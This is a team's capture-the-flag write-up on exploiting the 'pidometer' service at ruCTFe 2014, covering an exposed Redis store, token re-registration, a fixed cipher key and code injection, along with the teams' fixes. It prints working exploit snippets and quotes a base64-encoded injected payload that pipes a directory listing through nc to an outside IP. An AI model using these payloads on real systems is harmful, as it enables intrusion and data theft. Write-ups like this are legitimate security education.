Our team FAUST competed in the 2014 ruCTFe and finished third overall in the competition. When the CTF started, I (this happens more frequently than one might guess) decided to look a service called pidometer.
The service was a simple telnet-like service, view had only five commands: register, add, view, activity, and Question. In order to store flags, the service used a redis key-value store (which we will come to a little bit further down the road…)
The gameserver would initially check the Question functionality (always returning 42) and subsequently register a new account, get the token and add a flag:
Welcome to Pidometer: most powerfull tracker for your fitness, maths! register zi67-3ohr-ll13 Token: 4A7B17E76476C7C4D2AEB393F8DE084A add 4A7B17E76476C7C4D2AEB393F8DE084A OC4V0ZHFY48B0TKAUY5OWU8X47LUNDO= stored: 73000
from redis import StrictRedis as DB from mcrypt import MCRYPT as CR db = DB(host='127.0.0.1', port=6379, db=0) cr = CR("gost", "ecb") cr.init("0" * 32) ... # register def func2(n): cr.reinit() try: return "Token: " + base.b16encode(cr.encrypt(n)) + "\n" except: return "Register fails\n"
All of these constitute the first three vulnerabilities in the actual service. However, it was much easier to get all the flags to begin with (and worked pretty well against almost any team across the board): the redis instance was not bound to 127.0.0.1, but to 0.0.0.0. This allowed any team to connect to the redis directly and retrieve the flags rather than exploiting the service itself. In total, we got 3890 valid flags this way (even 26 flags from team dcua that finished second o.O).
When initially developing the exploit, I partially screwed up: I did not really know which redis command to use to retrieve the flags. I knew that flags were stored as lists for a given key, but did not know how to use lrange properly. A quick google search then gave me blpop, which – as the name suggests – pops items from a list rather than just reading them. Thus, our first exploit looked something like this:
rconn = redis.StrictRedis(host=target, socket_timeout=2) for key in rconn.keys("*"): try: print rconn.blpop(key,1) except Exception, e: pass
Lucky for us and less lucky for all other teams this actually removed the flag from the target system. Therefore, throughout the CTF our team was way in front in terms of stolen flags for that service, because we accidentally deleted them from the target host 😡 Well, shit happens 🙂
As already discussed, the service also had an activity command, which would list the last entries (not the tokens, only the user names). Since the register function did not have any safeguards in place to ensure that a user would not register again, we simple used this to register a user again, thereby learning the secret token and retrieving all the flags 🙂 For some reason, I did screw up the exploit and it did not really work as well. However, since the service had some issue unknown to me which crashed it quite regularly, I did not bother to check why the exploit did not work – especially since the open redis server one still worked like a charm.
The fix for this was quite straight forward. Since we did not want people to register again, we simply built in this check:
# register def func2(n): users = db.zrange("users", 0, 1000) print "register", n if n in users: return "Register fails\n" cr.reinit() ....
Abusing the known key issues
Since we knew the algorithm as well as the key used, we wrote another exploit that would specifically target this flaw: just reading the username and then manually calculating the matching token. Subsequently, we extracted the flags 🙂 We did not run this exploit for too long, especially because we found another one a little later.
Our fix for this was to simple change both the key and the mode (to CBC), which also worked quite nicely.
RCE in the add command
Lastly, we actually did not really understand this vuln at first, but luckily somebody did and attacked us with it. I will get around to showing some vulnerable code later on, but our vulnbox only contains a patched version 🙂
Welcome to Pidometer: most powerfull tracker for your fitness, maths! add 85016742A809FC858FFD4A71A8A17B8B abc-defbbbbbbbbbbbbbbbbbbbbbbbbb-eval(base.b64decode("X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oImxzIC1hbCB8IG5jIDEwLjYwLjIyNC4xNTEgMTIzNCIp")) stored:\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x880 1884
Rather than just reading the flags, this actually just echoed a listing of the file system back to team 0daysober. We found this connection and decided to basically copy their exploit. However, rather than using a backconnect (which also other teams did against us), we decided to go with the easy (yet also easy to copy) way and just extracted all the values (this time using lrange…) directly. In total, the exploit looked as such:
tn = telnetlib.Telnet(target, 27) data_read = tn.read_until('maths!\n', 2) evilcode = 'str([x for x in [db.lrange(f, 0, 1) for f in db.keys() if len(f) == 32]])' tn.write('add 11 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%s\n' % evilcode) data_read = tn.read_until(t0\n', 2)
This allowed us to steal another 1015 valid flags from all teams, making pidometer our “cash cow” in terms of stolen flags.
Summing up, I can only say that I had a lot of fun playing ruCTFe this year. Although at first, I was quite frustrated with the “OS zoo”, we still got a great result. Hope to see more CTFs like this, although I recently learned that rwthCTF appears to be dead in the water :-/
So, Hackerdom, keep up the great work and maybe do two CTFs per year? 😉